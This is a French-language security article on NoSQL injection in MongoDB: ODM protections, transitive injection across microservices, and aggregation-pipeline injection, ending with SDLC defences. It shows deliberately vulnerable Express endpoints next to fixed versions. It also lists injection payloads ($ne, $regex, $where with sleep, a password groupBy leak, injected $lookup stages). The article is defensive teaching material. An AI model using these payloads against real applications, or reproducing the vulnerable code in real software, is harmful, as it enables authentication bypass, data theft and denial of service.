Les ORM et ODM (Object-Document Mapper) comme Mongoose (Node.js), MongoEngine (Python), et Mongoid (Ruby) offrent une protection partielle mais pas complète. Leur principal mécanisme de protection est la validation de schéma : lorsqu'un champ est déclaré comme String dans le schéma, l'ODM convertit automatiquement la valeur en chaîne, neutralisant les objets opérateurs injectés. Cependant, cette protection est contournée lorsque le développeur utilise des requêtes raw (Model.collection.findOne() au lieu de Model.findOne()), lorsque le schéma utilise des types mixtes (Schema.Types.Mixed), ou lorsque des méthodes de requête avancées acceptent des objets de filtre non validés. Mongoose a introduit le sanitize filter (mongoose.set('sanitizeFilter', true)) qui supprime les opérateurs injectés au niveau du driver, mais cette option n'est pas activée par défaut. La recommandation est d'activer toutes les protections disponibles de l'ODM ET de valider les entrées au niveau du middleware HTTP, en ne s'appuyant pas exclusivement sur l'ODM.
Peut-on exploiter une injection NoSQL MongoDB si le mot de passe est hashé avec bcrypt ?
Le hashage bcrypt des mots de passe empêche le contournement d'authentification par injection directe dans le champ password (car la comparaison se fait sur le hash, pas sur le mot de passe en clair), mais il ne protège pas contre toutes les formes d'injection NoSQL. Si l'application compare le mot de passe via la requête MongoDB (findOne({password: userInput})), l'injection d'opérateurs fonctionne car la comparaison {$ne: ""} s'applique au hash stocké. L'architecture correcte utilise un processus en deux étapes : (1) récupérer l'utilisateur par son nom d'utilisateur uniquement (findOne({username: input})), puis (2) comparer le mot de passe en mémoire avec bcrypt.compare(inputPassword, user.passwordHash). Cette architecture protège contre l'injection dans le champ password car le mot de passe n'est jamais inclus dans la requête MongoDB. L'injection dans le champ username reste possible et doit être protégée par la validation de type et la sanitization.
Injection NoSQL dans les architectures microservices
Les architectures microservices multiplient les surfaces d'attaque pour les injections NoSQL car chaque service peut utiliser un moteur de base de données différent, avec des patterns de développement et des niveaux de maturité sécuritaire variés au sein de la même organisation. La propagation de paramètres entre services via des API internes crée des vecteurs d'injection transitifs où l'entrée utilisateur traverse plusieurs services avant d'atteindre une requête de base de données vulnérable.
Le scénario d'attaque transitive se manifeste lorsqu'un service frontend valide et sanitize correctement les entrées utilisateur, mais un service backend qui reçoit ces données via une API interne ne les re-valide pas, assumant qu'elles ont été nettoyées en amont. Si un attaquant parvient à contourner la validation du frontend (via un endpoint API alternatif, une race condition, ou une modification du service frontend lui-même en cas de compromission), les données malveillantes traversent directement vers le backend vulnérable.
// Architecture microservices vulnérable à l'injection NoSQL transitive
// Service API Gateway (Express) — sanitize les entrées
const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize());
app.post('/api/search', async (req, res) => {
const { query, filters } = req.body;
// Validation correcte ici
if (typeof query !== 'string') return res.status(400).json({error: 'invalid'});
// Transmission au service de recherche interne
const results = await axios.post('http://search-service:8080/internal/search', {
query: query,
filters: filters, // Objet complexe transmis tel quel
requesterId: req.user.id
});
res.json(results.data);
});
// Service Search (interne) — NE sanitize PAS car "c'est interne"
app.post('/internal/search', async (req, res) => {
const { query, filters, requesterId } = req.body;
// VULNÉRABLE: filters peut contenir des opérateurs MongoDB
// car le gateway transmet l'objet filters sans re-validation
const searchQuery = {
$text: { $search: query },
...filters // Si filters = {"status": {"$ne": "draft"}, "$where": "sleep(5000)"}
};
const results = await db.collection('articles').find(searchQuery).toArray();
res.json(results);
});
// --- Architecture sécurisée : validation à chaque couche ---
// Principe: "Never trust internal traffic"
// Chaque service valide ses propres entrées indépendamment
// Service Search sécurisé
app.post('/internal/search', async (req, res) => {
// Re-validation même pour les appels internes
const schema = Joi.object({
query: Joi.string().max(200).required(),
filters: Joi.object({
status: Joi.string().valid('published', 'draft', 'archived'),
category: Joi.string().max(50),
dateFrom: Joi.date().iso(),
dateTo: Joi.date().iso()
}).required(),
requesterId: Joi.string().uuid().required()
});
const { error, value } = schema.validate(req.body);
if (error) {
return res.status(400).json({ error: 'Invalid request', details: error.message });
}
// Construction de requête sécurisée avec des valeurs validées
const searchQuery = { $text: { $search: value.query } };
if (value.filters.status) searchQuery.status = value.filters.status;
if (value.filters.category) searchQuery.category = value.filters.category;
if (value.filters.dateFrom || value.filters.dateTo) {
searchQuery.createdAt = {};
if (value.filters.dateFrom) searchQuery.createdAt.$gte = new Date(value.filters.dateFrom);
if (value.filters.dateTo) searchQuery.createdAt.$lte = new Date(value.filters.dateTo);
}
const results = await db.collection('articles').find(searchQuery).toArray();
res.json(results);
});
La communication entre microservices via message queues (RabbitMQ, Kafka, SQS) présente le même risque. Les messages consommés depuis une queue sont souvent traités sans validation car les développeurs considèrent que « le producteur a déjà validé les données ». Un producteur compromis ou un message forgé injecté directement dans la queue peut contenir des opérateurs NoSQL qui seront exécutés par le consommateur. La validation doit être appliquée à chaque point de désérialisation, indépendamment de la source des données.
L'utilisation de contrats d'API (OpenAPI/Swagger, Protocol Buffers, JSON Schema) entre services impose structurellement des types de données compatibles et rejette les données non conformes au schéma. Protocol Buffers en particulier offre une protection naturelle contre les injections d'opérateurs car les types sont strictement définis et les objets non conformes à la définition proto sont rejetés lors de la désérialisation. Cette approche « schema-first » avec validation à chaque frontière de service constitue la défense la plus robuste contre les injections transitives dans les architectures microservices.
Exploitation avancée : injection dans les pipelines d'agrégation MongoDB
Les pipelines d'agrégation MongoDB (aggregation framework) constituent un vecteur d'injection distinct et souvent négligé. Le framework d'agrégation est un système de traitement de données en pipeline permettant des transformations complexes (filtrage, groupement, projection, jointure via $lookup, opérations mathématiques). Lorsque les paramètres utilisateur sont incorporés dans les stages d'un pipeline d'agrégation sans validation, les possibilités d'exploitation dépassent celles des requêtes find() standards.
// Injection dans les pipelines d'agrégation MongoDB
// Application de reporting vulnérable
app.get('/api/reports/sales', async (req, res) => {
const { groupBy, dateFrom, dateTo, filters } = req.query;
// VULNÉRABLE: construction dynamique du pipeline avec des paramètres utilisateur
const pipeline = [
{
$match: {
date: { $gte: new Date(dateFrom), $lte: new Date(dateTo) },
...JSON.parse(filters || '{}') // INJECTION ICI
}
},
{
$group: {
_id: `$${groupBy}`, // INJECTION ICI aussi
totalSales: { $sum: "$amount" },
count: { $sum: 1 }
}
},
{ $sort: { totalSales: -1 } }
];
const results = await db.collection('sales').aggregate(pipeline).toArray();
res.json(results);
});
// Exploitation 1: Injection dans $match via filters
// GET /api/reports/sales?dateFrom=2026-01-01&dateTo=2026-12-31&filters={"$where":"sleep(5000)"}
// => Injection de $where dans le stage $match
// Exploitation 2: Injection via $lookup pour accéder à d'autres collections
// filters = {"$lookup":{"from":"users","localField":"user_id","foreignField":"_id","as":"user_data"}}
// NOTE: $lookup dans $match n'est pas syntaxiquement valide,
// mais l'injection dans la construction du pipeline pourrait permettre
// d'ajouter un stage $lookup complet
// Exploitation 3: Injection dans groupBy pour exfiltrer des champs
// groupBy = "password"
// => Le pipeline groupe par le champ password, exposant les valeurs uniques dans les _id
// Exploitation 4: Utilisation de $addFields pour exposer des données
// Si l'attaquant peut injecter un stage additionnel:
// {"$addFields": {"leaked_field": "$sensitive_internal_field"}}
// --- Pipeline sécurisé ---
app.get('/api/reports/sales', async (req, res) => {
const { groupBy, dateFrom, dateTo, category } = req.query;
// Validation stricte des paramètres
const allowedGroupBy = ['category', 'region', 'product', 'month'];
if (!allowedGroupBy.includes(groupBy)) {
return res.status(400).json({ error: 'Invalid groupBy parameter' });
}
if (!isValidDate(dateFrom) || !isValidDate(dateTo)) {
return res.status(400).json({ error: 'Invalid date format' });
}
// Construction du pipeline avec des valeurs contrôlées
const matchStage = {
date: { $gte: new Date(dateFrom), $lte: new Date(dateTo) }
};
// Filtres explicites (pas de parsing JSON arbitraire)
if (category && typeof category === 'string' && category.length < 50) {
matchStage.category = category;
}
const pipeline = [
{ $match: matchStage },
{ $group: {
_id: `$${groupBy}`, // groupBy est validé contre la whitelist
totalSales: { $sum: "$amount" },
count: { $sum: 1 }
}},
{ $sort: { totalSales: -1 } },
{ $limit: 100 } // Limiter les résultats
];
const results = await db.collection('sales').aggregate(pipeline).toArray();
res.json(results);
});
L'opérateur $lookup dans les pipelines d'agrégation mérite une attention spéciale car il permet d'effectuer des jointures entre collections — équivalent d'un JOIN SQL. Si un attaquant parvient à injecter un stage $lookup dans un pipeline, il peut potentiellement accéder à des données de n'importe quelle collection de la base de données, contournant les restrictions d'accès au niveau applicatif. La mitigation repose sur l'utilisation d'un utilisateur MongoDB avec des permissions limitées à la collection nécessaire (pas de find sur les autres collections), ce qui empêche le $lookup injecté de fonctionner même s'il est syntaxiquement valide.
L'opérateur $merge et $out dans les pipelines d'agrégation permettent d'écrire les résultats du pipeline dans une autre collection. Si un attaquant peut injecter un stage $merge, il pourrait écraser ou modifier les données d'autres collections. La désactivation de ces stages via les options du pipeline (allowDiskUse: false) et la restriction des permissions de l'utilisateur MongoDB (pas de insert ou update sur les collections non nécessaires) limite ce risque.
Intégration de la sécurité NoSQL dans le SDLC
L'intégration de la prévention des injections NoSQL dans le cycle de développement logiciel (SDLC) nécessite des interventions à chaque phase — conception, développement, test, déploiement et exploitation. Une approche purement réactive (correction après découverte en production) est inefficace face à la cadence de développement des applications modernes qui déploient plusieurs fois par jour.
La complexité de cette intégration est amplifiée par la diversité des moteurs NoSQL utilisés dans les architectures microservices modernes. Un même produit peut utiliser MongoDB pour les données documentaires, Redis pour le cache et les sessions, Elasticsearch pour la recherche full-text, et Cassandra pour les données de séries temporelles. Chaque moteur présente des vecteurs d'injection spécifiques nécessitant des formations et des outils adaptés. La standardisation des pratiques de sécurité NoSQL au sein de l'organisation via des guidelines internes, des templates de code sécurisé et des revues de code focalisées sur la sécurité des requêtes est un investissement initial conséquent mais qui s'amortit rapidement face au coût d'une compromission.
Phase de conception : Documenter les interactions avec les bases de données NoSQL dans les diagrammes d'architecture. Pour chaque endpoint acceptant des entrées utilisateur et interagissant avec une base NoSQL, spécifier le type attendu de chaque paramètre et la méthode de construction de la requête (paramétrée vs dynamique). Les revues d'architecture doivent explicitement valider que les patterns de requêtage sont sécurisés.
Phase de développement : Configurer les linters et les analyseurs statiques pour détecter les patterns vulnérables. ESLint avec des règles personnalisées peut détecter l'utilisation de req.body directement dans les requêtes MongoDB sans validation de type. SonarQube avec les règles de sécurité activées détecte les injections NoSQL dans certains langages. Les snippets de code sécurisés et les templates de projet doivent inclure la sanitization par défaut (express-mongo-sanitize configuré, Mongoose sanitizeFilter activé).
Phase de test : Les tests unitaires doivent couvrir explicitement les tentatives d'injection pour chaque endpoint. Les fixtures de test incluent des payloads d'injection ({"$ne": ""}, {"$gt": ""}, {"$regex": ".*"}, {"$where": "return true"}) qui doivent être rejetés ou neutralisés. Les tests d'intégration vérifient le comportement end-to-end avec des payloads malveillants. Les tests de sécurité DAST (Dynamic Application Security Testing) avec des outils comme OWASP ZAP ou Nuclei incluent des templates de détection NoSQL injection.
Phase de déploiement : Les scans de sécurité automatisés dans le pipeline CI/CD bloquent le déploiement si des vulnérabilités d'injection sont détectées. La configuration des bases de données de production est validée automatiquement (JavaScript désactivé, authentification activée, permissions minimales). Les secrets de connexion aux bases de données sont gérés via des gestionnaires de secrets (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault) avec rotation automatique.
Phase d'exploitation : Le monitoring en production détecte les patterns d'exploitation en temps réel. Les requêtes MongoDB contenant des opérateurs inhabituels ($where, $regex sur des champs sensibles) déclenchent des alertes. Le profiling MongoDB identifie les requêtes lentes (potentiellement causées par des sleep() injectés). Les logs applicatifs capturent les tentatives de sanitization bloquées par express-mongo-sanitize, fournissant des indicateurs d'attaque en cours.
Intégration SDLC complète : La prévention des injections NoSQL ne se limite pas au code applicatif. Elle implique (1) la conception avec des patterns sécurisés documentés, (2) le développement avec des linters et des templates sécurisés, (3) les tests avec des payloads d'injection systématiques, (4) le déploiement avec des scans automatisés et une validation de configuration, (5) l'exploitation avec un monitoring des patterns d'attaque. Chaque phase renforce les autres et crée un filet de sécurité multicouche.
Conclusion : la sécurité NoSQL exige une approche spécifique
Les injections NoSQL constituent une menace distincte des injections SQL classiques, nécessitant des connaissances et des outils spécifiques pour chaque moteur de base de données. La diversité des vecteurs d'attaque — opérateurs JSON pour MongoDB, injection CRLF et Lua pour Redis, concaténation CQL pour Cassandra, concaténation N1QL pour Couchbase — impose une approche de défense adaptée à chaque technologie plutôt qu'une solution universelle. Le dénominateur commun reste cependant le même : ne jamais incorporer directement des entrées utilisateur non validées dans les requêtes de base de données, quel que soit le moteur. Les requêtes paramétrées, la validation de type, les middlewares de sanitization et le durcissement de la configuration serveur forment une défense en profondeur dont aucun élément ne doit être considéré comme suffisant isolément. La vigilance doit être permanente car les architectures modernes, avec leurs multiples microservices utilisant chacun un ou plusieurs moteurs NoSQL, multiplient les points d'injection potentiels au-delà de ce qu'un audit ponctuel peut couvrir exhaustivement. Les organisations adoptant une approche de sécurité proactive trouveront dans notre article sur les gestion des vulnérabilités en environnement industriel des méthodologies transposables au contexte NoSQL pour la priorisation et la remédiation systématique des failles détectées.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Articles connexes
XXE : XML External Entity — Exploitation et Défense
L'injection XXE (XML External Entity) exploite le mécanisme d'entités externes du standard XML pour forcer un parser côté serveur à charger des ressources arbitraires — fichiers locaux, URLs internes, ou données encodées exfiltrées vers un serveur contrôlé par l'attaquant. Malgré...
Élévation de Privilèges Linux : SUID, Capabilities et Kernel
Élévation de Privilèges Windows : Techniques Avancées
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire